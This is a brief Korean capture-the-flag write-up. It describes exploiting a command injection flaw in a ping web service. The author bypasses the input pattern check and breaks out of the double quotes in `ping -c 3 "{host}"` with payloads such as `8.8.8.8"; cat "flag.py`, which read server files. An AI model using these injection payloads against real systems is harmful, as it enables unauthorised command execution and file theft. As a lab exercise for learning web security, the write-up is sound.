특정 Host에 ping 패킷을 보내는 서비스입니다.
Command Injection을 통해 플래그를 획득하세요. 플래그는 flag.py에 있습니다.
Host 입력 칸에 8.8.8.8을 입력하여 핑 테스트가 정상적으로 동작하는지 확인.
서버에서 실행되는 코드 확인
cmd = f'ping -c 3 "{host}"'
ping! 버튼 클릭시 host에 파라미터 값이 전달되는 것으로 확인.
개발자 도구로 pattern을 없애 패턴을 우회하고 8.8.8.8; ls 를 입력하여 command injection 시도.(burp suite 같은 프록시 툴로도 조작 가능)
*리눅스 명령어 활용 - 세미콜론(;)은 여러 명령어를 한 줄에서 순차적으로 실행하도록 하는 역할을 함.
서버 에러가 나왔음!
an error occurred while executing the command. -> ping -c 3 "8.8.8.8; ls"
에러 원인: 입력값이 큰따옴표(")로 감싸져 있어 명령어 주입 실패.
명령어 수정.
8.8.8.8"; ls "./
현재 디렉토리 내 파일 목록 출력.
flag.py 파일 존재 확인.
cat 명령어를 사용하여 flag.py의 내용을 출력
8.8.8.8"; cat "flag.py
서버 실행 명령어
ping -c 3 "8.8.8.8"; cat "flag.py"
플래그 획득!